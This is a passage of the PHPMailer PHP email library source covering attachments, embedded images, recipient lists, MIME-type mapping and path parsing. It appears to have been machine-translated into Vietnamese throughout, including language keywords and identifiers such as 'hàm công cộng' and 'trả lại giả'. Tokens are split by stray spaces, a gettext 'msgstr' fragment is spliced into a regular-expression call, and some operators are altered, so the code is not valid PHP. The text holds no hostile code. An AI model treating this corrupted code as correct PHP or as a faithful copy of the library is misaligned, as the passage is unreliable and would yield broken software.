  2963. $ tên tập tin,
  2964. $ encoding = 'base64',
  2965. $ type = '',
  2966. $ disposition = 'tệp đính kèm'
  2967. ) {
  2968. / / Nếu một loại MIME không được chỉ định, cố gắng làm việc nó ra từ tên tập tin
  2969. if ($ type == '') {
  2970. $ type = self :: filenameToType ($ filename);
  2971. }
  2972. // Nối với mảng đính kèm $
  2973. $ this-> attachment [] = mảng (
  2974. 0 => $ string,
  2975. 1 => $ tên tập tin,
  2976. 2 => basename ($ filename),
  2977. 3 => $ mã hóa,
  2978. 4 => $ loại,
  2979. 5 => true, // isStringAttachment
  2980. 6 => $ bố trí,
  2981. 7 => 0
  2982. );
  2983. }
  2984.  
  2985. / **
  2986. * Thêm một đính kèm (nội tuyến) tập tin đính kèm từ một tập tin.
  2987. * Điều này có thể bao gồm hình ảnh, âm thanh và bất kỳ loại tài liệu nào khác.
  2988. * Khác với các tập tin đính kèm 'thường lệ' mà chúng được định nghĩa là
  2989. * Hiển thị trực tuyến với tin nhắn, không chỉ kèm theo để tải xuống.
  2990. * Điều này được sử dụng trong các tin nhắn HTML nhúng các hình ảnh
  2991. * HTML đề cập đến việc sử dụng giá trị $ cid.
  2992. * @param string $ path Đường dẫn đến tập tin đính kèm.
  2993. * @param string $ cid Content ID của tập tin đính kèm; Sử dụng tham chiếu này
  2994. * nội dung khi sử dụng một hình ảnh nhúng trong HTML.
  2995. * @param string $ name Ghi đè lên tên tệp đính kèm.
  2996. * @param string $ encoding Mã hóa tệp (xem $ Encoding).
  2997. * @param string $ type Loại tệp MIME.
  2998. * @param string $ disposition Định hướng sử dụng
  2999. * @ return boolean Đúng vào thành công thêm một tập tin đính kèm
  3000. * /
  3001. hàm công cộng addEmbeddedImage ($ path, $ cid, $ name = '', $ encoding = 'base64', $ type = '', $ disposition = 'inline')
  3002. {
  3003. if (! @ is_file ($ path)) {
  3004. $ this-> setError ($ this-> lang ('file_access'). $ path);
  3005. trả lại giả;
  3006. }
  3007.  
  3008. / / Nếu một loại MIME không được chỉ định, cố gắng làm việc nó ra từ tên tập tin
  3009. if ($ type == '') {
  3010. $ type = self :: filenameToType ($ path);
  3011. }
  3012.  
  3013. $ filename = basename ($ path);
  3014. if ($ name == '') {
  3015. $ name = $ filename;
  3016. }
  3017.  
  3018. // Nối với mảng đính kèm $
  3019. $ this-> attachment [] = mảng (
  3020. 0 => $ đường dẫn,
  3021. 1 => $ tên tập tin,
  3022. 2 => $ tên,
  3023. 3 => $ mã hóa,
  3024. 4 => $ loại,
  3025. 5 => false, // isStringAttachment
  3026. 6 => $ bố trí,
  3027. 7 => $ cid
  3028. );
  3029. trở lại đúng;
  3030. }
  3031.  
  3032. / **
  3033. * Thêm tệp đính kèm đã được nhúng vào.
  3034. * Điều này có thể bao gồm hình ảnh, âm thanh và bất kỳ loại tài liệu nào khác.
  3035. * Đảm bảo thiết lập kiểu $ cho một loại hình ảnh cho hình ảnh:
  3036. * Hình ảnh JPEG sử dụng 'image / jpeg', GIF sử dụng 'image / gif', PNG sử dụng 'image / png'.
  3037. * @param string $ string Dữ liệu đính kèm nhị phân.
  3038. * @param string $ cid Content ID của tập tin đính kèm; Sử dụng tham chiếu này
  3039. * nội dung khi sử dụng một hình ảnh nhúng trong HTML.
  3040. * @param string $ name
  3041. * @param string $ encoding Mã hóa tệp (xem $ Encoding).
  3042. * @param string $ type MIME type.
  3043. * @param string $ disposition Định hướng sử dụng
  3044. * @ return boolean Đúng vào thành công thêm một tập tin đính kèm
  3045. * /
  3046. hàm công cộng addStringEmbeddedImage (
  3047. $ string,
  3048. $ cid,
  3049. $ name = '',
  3050. $ encoding = 'base64',
  3051. $ type = '',
  3052. $ disposition = 'nội tuyến'
  3053. ) {
  3054. / / Nếu một loại MIME không được chỉ định, cố gắng làm việc nó ra từ tên
  3055. if ($ type == '' và! empty ($ name)) {
  3056. $ type = self :: filenameToType ($ name);
  3057. }
  3058.  
  3059. // Nối với mảng đính kèm $
  3060. $ this-> attachment [] = mảng (
  3061. 0 => $ string,
  3062. 1 => $ tên,
  3063. 2 => $ tên,
  3064. 3 => $ mã hóa,
  3065. 4 => $ loại,
  3066. 5 => true, // isStringAttachment
  3067. 6 => $ bố trí,
  3068. 7 => $ cid
  3069. );
  3070. trở lại đúng;
  3071. }
  3072.  
  3073. / **
  3074. * Kiểm tra nếu có đính kèm nội tuyến.
  3075. * @ truy cập công cộng
  3076. * @ boolean trở lại
  3077. * /
  3078. hàm công khai inlineImageExists ()
  3079. {
  3080. foreach ($ this-> attachment as $ attachment) {
  3081. if ($ attachment [6] == 'inline') {
  3082. trở lại đúng;
  3083. }
  3084. }
  3085. trả lại giả;
  3086. }
  3087.  
  3088. / **
  3089. * Kiểm tra xem một tập tin đính kèm (không trực tuyến) có mặt.
  3090. * @ boolean trở lại
  3091. * /
  3092. chức năng công cộng đính kèm Hiện ()
  3093. {
  3094. foreach ($ this-> attachment as $ attachment) {
  3095. if ($ attachment [6] == 'tệp đính kèm') {
  3096. trở lại đúng;
  3097. }
  3098. }
  3099. trả lại giả;
  3100. }
  3101.  
  3102. / **
  3103. * Kiểm tra xem thông báo này có bộ cơ thể thay thế hay không.
  3104. * @ boolean trở lại
  3105. * /
  3106. chức năng công cộng thay thếExists ()
  3107. {
  3108. trở lại trống rỗng ($ this-> AltBody);
  3109. }
  3110.  
  3111. / **
  3112. * Xóa các địa chỉ được xếp hàng đợi của một loại nhất định.
  3113. * @cơ sở bảo vệ
  3114. * @param string $ kind 'to', 'cc', hoặc 'bcc'
  3115. * trở về trạng thái trống
  3116. * /
  3117. chức năng công cộng clearQueuedAddresses (loại $)
  3118. {
  3119. $ RecipientsQueue = $ this-> RecipientsQueue;
  3120. foreach ($ RecipientsQueue as $ address => $ params) {
  3121. if ($ params [0] == $ kind) {
  3122. unset ($ this-> RecipientsQueue [$ address]);
  3123. }
  3124. }
  3125. }
  3126.  
  3127. / **
  3128. * Xóa tất cả Đến người nhận.
  3129. * trở về trạng thái trống
  3130. * /
  3131. clearAddresses chức năng công cộng ()
  3132. {
  3133. foreach ($ this-> to as to $ to) {
  3134. unset ($ this-> all_recipients [strtolower ($ to [0])]);
  3135. }
  3136. $ this-> to = array ();
  3137. $ this-> clearQueuedAddresses ('to');
  3138. }
  3139.  
  3140. / **
  3141. * Xóa tất cả người nhận CC.
  3142. * trở về trạng thái trống
  3143. * /
  3144. clearCCs chức năng công cộng ()
  3145. {
  3146. foreach ($ this-> cc as $ cc) {
  3147. unset ($ this-> all_recipients [strtolower ($ cc [0])]);
  3148. }
  3149. $ this-> cc = array ();
  3150. $ this-> clearQueuedAddresses ('cc');
  3151. }
  3152.  
  3153. / **
  3154. * Xóa tất cả người nhận BCC.
  3155. * trở về trạng thái trống
  3156. * /
  3157. chức năng công cộng clearBCCs ()
  3158. {
  3159. foreach ($ this-> bcc as $ bcc) {
  3160. unset ($ this-> all_recipients [strtolower ($ bcc [0])]);
  3161. }
  3162. $ this-> bcc = array ();
  3163. $ this-> clearQueuedAddresses ('bcc');
  3164. }
  3165.  
  3166. / **
  3167. * Xóa tất cả người nhận Trả lời.
  3168. * trở về trạng thái trống
  3169. * /
  3170. chức năng công cộng clearReplyTos ()
  3171. {
  3172. $ this-> ReplyTo = array ();
  3173. $ this-> ReplyToQueue = array ();
  3174. }
  3175.  
  3176. / **
  3177. * Xóa tất cả các loại người nhận.
  3178. * trở về trạng thái trống
  3179. * /
  3180. các hàm công khai clearAllRecipients ()
  3181. {
  3182. $ this-> to = array ();
  3183. $ this-> cc = array ();
  3184. $ this-> bcc = array ();
  3185. $ this-> all_recipients = array ();
  3186. $ this-> RecipientsQueue = array ();
  3187. }
  3188.  
  3189. / **
  3190. * Xoá tất cả các hệ thống tập tin, chuỗi, và các tập tin đính kèm nhị phân.
  3191. * trở về trạng thái trống
  3192. * /
  3193. chức năng clearAttachments công cộng ()
  3194. {
  3195. $ this-> attachment = array ();
  3196. }
  3197.  
  3198. / **
  3199. * Xóa tất cả các tiêu đề tùy chỉnh.
  3200. * trở về trạng thái trống
  3201. * /
  3202. chức năng công cộng clearCustomHeaders ()
  3203. {
  3204. $ this-> CustomHeader = array ();
  3205. }
  3206.  
  3207. / **
  3208. * Thêm thông báo lỗi vào bộ chứa lỗi.
  3209. * @cơ sở bảo vệ
  3210. * @param string $ msg
  3211. * trở về trạng thái trống
  3212. * /
  3213. chức năng bảo vệ setError ($ msg)
  3214. {
  3215. $ this-> error_count ++;
  3216. if ($ this-> Mailer == 'smtp' và! is_null ($ this-> smtp)) {
  3217. $ lasterror = $ this-> smtp-> getError ();
  3218. if (! empty ($ lasterror ['error'])) {
  3219. $ msg. = $ this-> lang ('smtp_error'). $ lasterror ['error'];
  3220. if (! empty ($ lasterror ['detail'])) {
  3221. $ msg. = 'Chi tiết:'. $ lasterror ['detail'];
  3222. }
  3223. if (! empty ($ lasterror ['smtp_code'])) {
  3224. $ msg. = 'Mã SMTP:'. $ lasterror ['smtp_code'];
  3225. }
  3226. if (! empty ($ lasterror ['smtp_code_ex'])) {
  3227. $ msg. = 'Thông tin SMTP bổ sung:'. $ lasterror ['smtp_code_ex'];
  3228. }
  3229. }
  3230. }
  3231. $ this-> ErrorInfo = $ msg;
  3232. }
  3233.  
  3234. / **
  3235. * Trả lại một ngày được định dạng của RFC 822.
  3236. * @ truy cập công cộng
  3237. * chuỗi trả về
  3238. * tĩnh
  3239. * /
  3240. chức năng tĩnh công cộng rfcDate ()
  3241. {
  3242. / / Thiết lập múi giờ để mặc định là để tránh 500 lỗi
  3243. // Mặc định là UTC nếu nó không được đặt đúng trong php.ini
  3244. date_default_timezone_set (@date_default_timezone_get ());
  3245. ngày trả lại ('D, j MYH: i: s O');
  3246. }
  3247.  
  3248. / **
  3249. * Lấy tên máy chủ lưu trữ.
  3250. * Trả về 'localhost.localdomain' nếu không biết.
  3251. * @cơ sở bảo vệ
  3252. * chuỗi trả về
  3253. * /
  3254. chức năng bảo vệ serverHostname ()
  3255. {
  3256. $ result = 'localhost.localdomain';
  3257. if (! empty ($ this-> Hostname)) {
  3258. $ result = $ this-> Hostname;
  3259. } elseif (isset ($ _ SERVER) và array_key_exists ('SERVER_NAME', $ _SERVER) và! empty ($ _ SERVER ['SERVER_NAME'])) {
  3260. $ result = $ _SERVER ['SERVER_NAME'];
  3261. } elseif (function_exists ('gethostname') && gethostname ()! == false) {
  3262. $ result = gethostname ();
  3263. } elseif (php_uname ('n')! == false) {
  3264. $ result = php_uname ('n');
  3265. }
  3266. trả về $ kết quả;
  3267. }
  3268.  
  3269. / **
  3270. * Nhận thông báo lỗi bằng ngôn ngữ hiện tại.
  3271. * @cơ sở bảo vệ
  3272. * chuỗi giá trị $
  3273. * chuỗi trả về
  3274. * /
  3275. chức năng bảo vệ lang (khóa $)
  3276. {
  3277. if (count ($ this-> language) <1) {
  3278. $ this-> setLanguage ('en'); / / thiết lập ngôn ngữ mặc định
  3279. }
  3280.  
  3281. if (array_key_exists ($ key, $ this-> language)) {
  3282. if ($ key == 'smtp_connect_failed') {
  3283. / / Bao gồm một liên kết để khắc phục sự cố các tài liệu trên kết nối SMTP thất bại
  3284. // đây là nguyên nhân lớn nhất của các câu hỏi hỗ trợ
  3285. // nhưng thường không phải lỗi của PHPMailer.
  3286. return $ this-> language [key $]. 'https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
  3287. }
  3288. return $ this-> language [key $];
  3289. } else {
  3290. / / Trả lại phím như là một dự phòng
  3291. return $ key;
  3292. }
  3293. }
  3294.  
  3295. / **
  3296. * Kiểm tra nếu có lỗi xảy ra.
  3297. * @ truy cập công cộng
  3298. * @return boolean Đúng nếu một lỗi đã xảy ra.
  3299. * /
  3300. chức năng công cộng isError ()
  3301. {
  3302. return ($ this-> error_count> 0);
  3303. }
  3304.  
  3305. / **
  3306. * Đảm bảo kết thúc dòng nhất quán trong một chuỗi.
  3307. * Thay đổi mỗi cuối của dòng từ CRLF, CR hoặc LF đến $ this-> LE.
  3308. * @ truy cập công cộng
  3309. * @param string $ str Chuỗi để fixEOL
  3310. * chuỗi trả về
  3311. * /
  3312. fixEOL chức năng công cộng ($ str)
  3313. {
  3314. / / Normalize to \ n
  3315. $ nstr = str_replace (mảng ("\ r \ n", "\ r"), "\ n", $ str);
  3316. / / Bây giờ chuyển đổi LE khi cần thiết
  3317. if ($ this-> LE! == "\ n") {
  3318. $ nstr = str_replace ("\ n", $ this-> LE, $ nstr);
  3319. }
  3320. trở lại $ nstr;
  3321. }
  3322.  
  3323. / **
  3324. * Thêm một tiêu đề tùy chỉnh.
  3325. * $ tên giá trị có thể được quá tải để chứa
  3326. * cả tên tiêu đề và giá trị (tên: giá trị)
  3327. * @ truy cập công cộng
  3328. * @param string $ name Tên tiêu đề tùy chỉnh
  3329. * @param giá trị chuỗi giá trị phần đầu
  3330. * trở về trạng thái trống
  3331. * /
  3332. hàm công cộng addCustomHeader ($ name, $ value = null)
  3333. {
  3334. if ($ value === null) {
  3335. // giá trị được truyền vào như tên: giá trị
  3336. $ this-> CustomHeader [] = nổ (':', $ name, 2);
  3337. } else {
  3338. $ this-> CustomHeader [] = mảng ($ name, $ value);
  3339. }
  3340. }
  3341.  
  3342. / **
  3343. * Trả về tất cả các tiêu đề tuỳ chỉnh.
  3344. * mảng trả về
  3345. * /
  3346. công chức getCustomHeaders ()
  3347. {
  3348. return $ this-> CustomHeader;
  3349. }
  3350.  
  3351. / **
  3352. * Tạo một tin nhắn từ một chuỗi HTML.
  3353. Tự động sửa đổi hình ảnh và hình nền trực tuyến
  3354. * và tạo một phiên bản văn bản thuần bằng cách chuyển đổi HTML.
  3355. * Ghi đè bất kỳ giá trị hiện tại bằng $ this-> Body và $ this-> AltBody
  3356. * @ truy cập công cộng
  3357. Chuỗi thông điệp HTML $ string
  3358. * @param string $ basedir thư mục cơ sở cho đường dẫn
  3359. * @param boolean | callable $ advanced Cho dù sử dụng HTML nội bộ để chuyển đổi văn bản
  3360. * hoặc trình chuyển đổi tùy chỉnh của bạn @see PHPMailer :: html2text ()
  3361. gửi thông báo $ string
  3362. * /
  3363. chức năng công cộng msgHTML ($ message, $ basedir = '', $ advanced = false)
  3364. {
  3365. preg_match_all ('/ (src | background) = ["\'] (. *) [" \ '] / Ui', $ message, $ images);
  3366. if (array_key_exists (2, $ images)) {
  3367. foreach ($ hình ảnh [2] như $ imgindex => $ url) {
  3368. // Chuyển đổi các URI dữ liệu sang các hình ảnh nhúng
  3369. if (preg_match ('# ^ data: (image [^ ;, * *) (; base64) ?, #', $ url, $ match)) {
  3370. $ data = substr ($ url, strpos ($ url, ','));
  3371. if ($ match [2]) {
  3372. $ data = base64_decode ($ data);
  3373. } else {
  3374. $ data = rawurldecode ($ data);
  3375. }
  3376. $ cid = md5 ($ url). '@ phpmailer.0'; // RFC2392 S 2
  3377. if ($ this-> addStringEmbeddedImage ($ data, $ cid, 'embed'. $ imgindex, 'base64', $ match [1])) {
  3378. $ message = str_replace (
  3379. $ hình ảnh [0] [$ imgindex],
  3380. $ hình ảnh [1] [$ imgindex]. '=' cid: '. $ cid.' '',
  3381. tin nhắn $
  3382. );
  3383. }
  3384. } elseif (substr ($ url, 0, 4)! == 'cid:' &&! preg_match ('# ^ [Az] +: // #', $ url)) {
  3385. / / Không thay đổi url cho hình ảnh tuyệt đối (nhờ corvuscorax)
  3386. // Không thay đổi url đã là hình ảnh nội tuyến
  3387. $ filename = basename ($ url);
  3388. $ directory = dirname ($ url);
  3389. if ($ directory == '.') {
  3390. $ thư mục = '';
  3391. }
  3392. $ cid = md5 ($ url). '@ phpmailer.0'; // RFC2392 S 2
  3393. if (strlen ($ basedir)> 1 && substr ($ basedir, -1)! = '/') {
  3394. $ basedir. = '/';
  3395. }
  3396. if (strlen ($ directory)> 1 && substr ($ directory, -1)! = '/') {
  3397. $ directory = '/';
  3398. }
  3399. if ($ this-> addEmbeddedImage (
  3400. $ basedir. $ thư mục. $ tên tập tin,
  3401. $ cid,
  3402. $ tên tập tin,
  3403. 'base64',
  3404. tự :: _ mime_types ((chuỗi) tự :: mb_pathinfo ($ tên tập tin, PATHINFO_EXTENSION))
  3405. )
  3406. ) {
  3407. $ message = preg_replace (
  3408. '/'. $ hình ảnh [1] [$ imgindex]. '\ n "" \ n "" \ n "msgstr" ""
  3409. $ hình ảnh [1] [$ imgindex]. '=' cid: '. $ cid.' '',
  3410. tin nhắn $
  3411. );
  3412. }
  3413. }
  3414. }
  3415. }
  3416. $ this-> isHTML (true);
  3417. / / Chuyển đổi tất cả các dòng văn bản cơ thể nghỉ để CRLF, làm cho mã hóa trích dẫn in làm việc tốt hơn
  3418. $ this-> Body = $ this-> normalizeBreaks ($ message);
  3419. $ this-> AltBody = $ this-> normalizeBreaks ($ this-> html2text ($ message, $ advanced));
  3420. if (empty ($ this-> AltBody)) {
  3421. $ this-> AltBody = 'Để xem email này, hãy mở nó trong một chương trình hiểu HTML!' .
  3422. tự :: CRLF. tự :: CRLF;
  3423. }
  3424. return $ this-> Body;
  3425. }
  3426.  
  3427. / **
  3428. * Chuyển đổi một chuỗi HTML thành văn bản thuần túy.
  3429. * Điều này được sử dụng bởi msgHTML ().
  3430. * Lưu ý - các phiên bản cũ của chức năng này đã sử dụng bộ chuyển đổi tiên tiến đi kèm
  3431. * đã được gỡ bỏ vì lý do giấy phép trong # 232
  3432. * Ví dụ sử dụng:
  3433. * <code>
  3434. * / / Sử dụng chuyển đổi mặc định
  3435. * $ plain = $ mail-> html2text ($ html);
  3436. * / Sử dụng trình chuyển đổi tùy chỉnh của riêng bạn
  3437. * $ plain = $ mail-> html2text ($ html, function ($ html) {
  3438. * $ converter = new MyHtml2text ($ html);
  3439. * return $ converter-> get_text ();
  3440. *});
  3441. * </ code>
  3442. * @param chuỗi $ html Các văn bản HTML để chuyển đổi
  3443. * @param boolean | callable $ advanced Bất kỳ giá trị boolean nào để sử dụng bộ chuyển đổi nội bộ,
  3444. * hoặc cung cấp cuộc gọi của bạn cho chuyển đổi tùy chỉnh.
  3445. * chuỗi trả về
  3446. * /
  3447. chức năng công cộng html2text ($ html, $ advanced = false)
  3448. {
  3449. if (is_callable ($ advanced)) {
  3450. trả lại call_user_func ($ nâng cao, $ html);
  3451. }
  3452. trả về html_entity_decode (
  3453. trim (strip_tags (preg_replace ('/ <(đầu | Tiêu đề * phong cách | kịch bản) [^>] *>. *? <\ / \\ 1> / si', '', $ html))),
  3454. ENT_QUOTES,
  3455. $ this-> CharSet
  3456. );
  3457. }
  3458.  
  3459. / **
  3460. * Nhận loại MIME cho một phần mở rộng tập tin.
  3461. * @param chuỗi $ ext Tập tin mở rộng
  3462. * @ truy cập công cộng
  3463. * Trả về kiểu MIME của tệp.
  3464. * tĩnh
  3465. * /
  3466. public static function _mime_types ($ ext = '')
  3467. {
  3468. $ mimes = mảng (
  3469. 'xl' => 'ứng dụng / excel',
  3470. 'js' => 'ứng dụng / javascript',
  3471. 'hqx' => 'application / mac-binhex40',
  3472. 'cpt' => 'application / mac-compactpro',
  3473. 'bin' => 'ứng dụng / macbinary',
  3474. 'doc' => 'application / msword',
  3475. 'word' => 'application / msword',
  3476. 'xlsx' => 'application / vnd.openxmlformats-officedocument.spreadsheetml.sheet',
  3477. 'xltx' => 'application / vnd.openxmlformats-officedocument.spreadsheetml.template',
  3478. 'potx' => 'application / vnd.openxmlformats-officedocument.presentationml.template',
  3479. 'ppsx' => 'application / vnd.openxmlformats-officedocument.presentationml.slideshow',
  3480. 'pptx' => 'application / vnd.openxmlformats-officedocument.presentationml.presentation',
  3481. 'sldx' => 'application / vnd.openxmlformats-officedocument.presentationml.slide',
  3482. 'docx' => 'application / vnd.openxmlformats-officedocument.wordprocessingml.document',
  3483. 'dotx' => 'application / vnd.openxmlformats-officedocument.wordprocessingml.template',
  3484. 'xlam' => 'application / vnd.ms-excel.addin.macroEnabled.12',
  3485. 'xlsb' => 'application / vnd.ms-excel.sheet.binary.macroEnabled.12',
  3486. 'class' => 'application / octet-stream',
  3487. 'dll' => 'application / octet-stream',
  3488. 'dms' => 'application / octet-stream',
  3489. 'exe' => 'application / octet-stream',
  3490. 'lha' => 'application / octet-stream',
  3491. 'lzh' => 'application / octet-stream',
  3492. 'psd' => 'application / octet-stream',
  3493. 'sea' => 'application / octet-stream',
  3494. 'so' => 'application / octet-stream',
  3495. 'oda' => 'ứng dụng / oda',
  3496. 'pdf' => 'ứng dụng / pdf',
  3497. 'ai' => 'application / postscript',
  3498. 'eps' => 'ứng dụng / postscript',
  3499. 'ps' => 'ứng dụng / postscript',
  3500. 'smi' => 'ứng dụng / smil',
  3501. 'smil' => 'ứng dụng / smil',
  3502. 'mif' => 'application / vnd.mif',
  3503. 'xls' => 'application / vnd.ms-excel',
  3504. 'ppt' => 'application / vnd.ms-powerpoint',
  3505. 'wbxml' => 'application / vnd.wap.wbxml',
  3506. 'wmlc' => 'application / vnd.wap.wmlc',
  3507. 'dcr' => 'application / x-director',
  3508. 'dir' => 'application / x-director',
  3509. 'dxr' => 'application / x-director',
  3510. 'dvi' => 'application / x-dvi',
  3511. 'gtar' => 'ứng dụng / x-gtar',
  3512. 'php3' => 'application / x-httpd-php',
  3513. 'php4' => 'application / x-httpd-php',
  3514. 'php' => 'application / x-httpd-php',
  3515. 'phtml' => 'application / x-httpd-php',
  3516. 'phps' => 'application / x-httpd-php-source',
  3517. 'swf' => 'ứng dụng / x-shockwave-flash',
  3518. 'ngồi' => 'ứng dụng / x-stuffit',
  3519. 'tar' => 'application / x-tar',
  3520. 'tgz' => 'application / x-tar',
  3521. 'xht' => 'application / xhtml + xml',
  3522. 'xhtml' => 'application / xhtml + xml',
  3523. 'zip' => 'ứng dụng / zip',
  3524. 'mid' => 'audio / midi',
  3525. 'midi' => 'audio / midi',
  3526. 'mp2' => 'audio / mpeg',
  3527. 'mp3' => 'audio / mpeg',
  3528. 'mpga' => 'audio / mpeg',
  3529. 'aif' => 'audio / x-aiff',
  3530. 'aifc' => 'audio / x-aiff',
  3531. 'aiff' => 'audio / x-aiff',
  3532. 'ram' => 'audio / x-pn-realaudio',
  3533. 'rm' => 'audio / x-pn-realaudio',
  3534. 'rpm' => 'audio / x-pn-realaudio-plugin',
  3535. 'ra' => 'audio / x-realaudio',
  3536. 'wav' => 'audio / x-wav',
  3537. 'bmp' => 'image / bmp',
  3538. 'gif' => 'image / gif',
  3539. 'jpeg' => 'image / jpeg',
  3540. 'jpe' => 'image / jpeg',
  3541. 'jpg' => 'image / jpeg',
  3542. 'png' => 'image / png',
  3543. 'tiff' => 'image / tiff',
  3544. 'tif' => 'image / tiff',
  3545. 'eml' => 'message / rfc822',
  3546. 'css' => 'text / css',
  3547. 'html' => 'text / html',
  3548. 'htm' => 'text / html',
  3549. 'shtml' => 'text / html',
  3550. 'log' => 'text / plain',
  3551. 'text' => 'văn bản / plain',
  3552. 'txt' => 'text / plain',
  3553. 'rtx' => 'text / richtext',
  3554. 'rtf' => 'text / rtf',
  3555. 'vcf' => 'text / vcard',
  3556. 'vcard' => 'text / vcard',
  3557. 'xml' => 'text / xml',
  3558. 'xsl' => 'text / xml',
  3559. 'mpeg' => 'video / mpeg',
  3560. 'mpe' => 'video / mpeg',
  3561. 'mpg' => 'video / mpeg',
  3562. 'mov' => 'video / quicktime',
  3563. 'qt' => 'video / quicktime',
  3564. 'rv' => 'video / vnd.rn-realvideo',
  3565. 'avi' => 'video / x-msvideo',
  3566. 'movie' => 'video / x-sgi-movie'
  3567. );
  3568. if (array_key_exists (strtolower ($ ext), $ mimes)) {
  3569. return $ mimes [strtolower ($ ext)];
  3570. }
  3571. return 'application / octet-stream';
  3572. }
  3573.  
  3574. / **
  3575. * Bản đồ tên tệp cho một loại MIME.
  3576. * Mặc định là 'application / octet-stream', nghĩa là dữ liệu nhị phân tùy ý.
  3577. * @param string $ filename Một tên tập tin hoặc đường dẫn đầy đủ, không cần phải tồn tại như một tập tin
  3578. * chuỗi trả về
  3579. * tĩnh
  3580. * /
  3581. public static function filenameToType ($ filename)
  3582. {
  3583. // Trong trường hợp đường dẫn là một URL, hãy dải bất kỳ chuỗi truy vấn nào trước khi mở rộng
  3584. $ qpos = strpos ($ filename, '?');
  3585. if (false! == $ qpos) {
  3586. $ filename = substr ($ filename, 0, $ qpos);
  3587. }
  3588. $ pathinfo = tự :: mb_pathinfo ($ filename);
  3589. return self :: _ mime_types ($ pathinfo ['extension']);
  3590. }
  3591.  
  3592. / **
  3593. * Thay thế pathinfo nhiều byte.
  3594. * Thay thế cho pathinfo (), nhưng an toàn đa vùng, an toàn qua nền tảng, phiên bản cũ an toàn.
  3595. * Hoạt động tương tự như trong PHP> = 5.2.0
  3596. * @link http://www.php.net/manual/en/function.pathinfo.php#107461
  3597. * @param string $ path Một tên tập tin hoặc đường dẫn, không cần phải tồn tại như một tập tin
  3598. * @param số nguyên | chuỗi $ tùy chọn Hoặc là một PATHINFO_ * liên tục,
  3599. * hoặc một tên chuỗi chỉ trả lại phần xác định, cho phép 'filename' hoạt động trên PHP <5.2
  3600. * chuỗi trả về
  3601. * tĩnh
  3602. * /
  3603. chức năng tĩnh công cộng mb_pathinfo ($ path, $ options = null)
  3604. {
  3605. $ ret = array ('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  3606. $ pathinfo = array ();
  3607. nếu (preg_match ('% ^ (. *?) [\\\\ /] * (([^ / \\\\) *?) (\. ([^ \. \\\\ /] +?) |)) [\\\\ / \.] * $% im ', $ path, $ pathinfo)) {
  3608. if (array_key_exists (1, $ pathinfo)) {
  3609. $ ret ['dirname'] = $ pathinfo [1];
  3610. }
  3611. if (array_key_exists (2, $ pathinfo)) {
  3612. $ ret ['basename'] = $ pathinfo [2];
  3613. }
  3614. if (array_key_exists (5, $ pathinfo)) {
  3615. $ ret ['extension'] = $ pathinfo [5];
  3616. }
  3617. if (array_key_exists (3, $ pathinfo)) {
  3618. $ ret ['filename'] = $ pathinfo [3];
  3619. }
  3620. }
  3621. chuyển đổi ($ tùy chọn) {
  3622. trường hợp PATHINFO_DIRNAME:
  3623. trường hợp 'dirname':
  3624. return $ ret ['dirname'];
  3625. trường hợp PATHINFO_BASENAME:
  3626. trường hợp 'basename':
  3627. return $ ret ['basename'];
  3628. trường hợp PATHINFO_EXTENSION:
  3629. trường hợp 'mở rộng':
  3630. return $ ret ['extension'];
  3631. trường hợp PATHINFO_FILENAME:
  3632. case 'filename':
  3633. return $ ret ['filename'];
  3634. mặc định:
  3635. return $ ret;
  3636. }
  3637. }
  3638.  
  3639. / **
  3640. * Thiết lập hoặc thiết lập lại thuộc tính cá thể.
  3641. * Bạn nên tránh chức năng này - nó tiết kiệm hơn, ít hiệu quả hơn, dễ bị lỗi hơn và
  3642. * khó hơn để gỡ lỗi hơn thiết lập tài sản trực tiếp.
  3643. * Cách sử dụng Ví dụ:
  3644. * `$ mail-> set ('SMTPSecure', 'tls');`
  3645. * là giống như:
  3646. * `$ mail-> SMTPSecure = 'tls',`
  3647. * @ truy cập công cộng
  3648. * @param string $ name Tên thuộc tính để đặt
  3649. * @param mixed $ value Giá trị để thiết lập thuộc tính
  3650. * @ boolean trở lại
  3651. * @TODO Nếu điều này không được sử dụng chức năng ma thuật __set ()?
  3652. * /
  3653. bộ hàm công cộng ($ name, $ value = '')
  3654. {
  3655. if (property_exists ($ this, $ name)) {
  3656. $ this -> $ name = $ value;
  3657. trở lại đúng;
  3658. } else {
  3659. $ this-> setError ($ this-> lang ('variable_set'). $ name);
  3660. trả lại giả;
  3661. }
  3662. }
  3663.  
  3664. / **
  3665. * Dải dòng mới để ngăn chặn tiêm đầu trang.
  3666. * @ truy cập công cộng
  3667. * @param chuỗi $ str
  3668. * chuỗi trả về
  3669. * /
  3670. chức năng công cộng secureHeader ($ str)
  3671. {
  3672. return trim (str_replace (array ("\ r", "\ n"), '', $ str));
  3673. }
  3674.  
  3675. / **
  3676. * Normalize ngắt dòng trong một chuỗi.
  3677. * Chuyển đổi các dòng UNIX LF, Mac CR và Windows CRLF thành một định dạng ngắt dòng duy nhất.
  3678. * Mặc định cho CRLF (đối với các cơ quan tin nhắn) và bảo vệ các lần nghỉ liên tiếp.
  3679. * chuỗi ký tự $ string
  3680. * @param string $ breaktype Loại ngắt dòng nào để sử dụng, mặc định là CRLF
  3681. * chuỗi trả về
  3682. * @ truy cập công cộng
  3683. * tĩnh
  3684. * /
  3685. public static function normalizeBreaks ($ văn bản, $ breaktype = "\ r \ n")
  3686. {
  3687. return preg_replace ('/ (\ r \ n | \ r \ n) / ms', $ breaktype, $ text);
  3688. }
  3689.  
  3690. / **
  3691. * Thiết lập các tập tin khóa công cộng và tư nhân và mật khẩu cho ký kết S / MIME.
  3692. * @ truy cập công cộng
  3693. * @param string $ cert_filename
  3694. * @param chuỗi $ key_filename
  3695. * @param string $ key_pass Mật khẩu cho khoá cá nhân
  3696. * @param string $ extracerts_filename Tùy chọn đường dẫn đến chứng chỉ chuỗi
  3697. * /
  3698. ký hiệu chức năng công cộng ($ cert_filename, $ key_filename, $ key_pass, $ extracerts_filename = '')
  3699. {
  3700. $ this-> sign_cert_file = $ cert_filename;
  3701. $ this-> sign_key_file = $ key_filename;
  3702. $ this-> sign_key_pass = $ key_pass;
  3703. $ this-> sign_extracerts_file = $ extracerts_filename;
  3704. }
  3705.  
  3706. / **
  3707. * Được trích dẫn-Printable-mã hóa một tiêu đề DKIM.
  3708. * @ truy cập công cộng
  3709. * @param chuỗi $ txt
  3710. * chuỗi trả về
  3711. * /
  3712. chức năng công cộng DKIM_QP ($ txt)
  3713. {
  3714. $ line = '';
  3715. for ($ i = 0; $ i <strlen ($ txt), $ i ++) {
  3716. $ ord = ord ($ txt [$ i]);
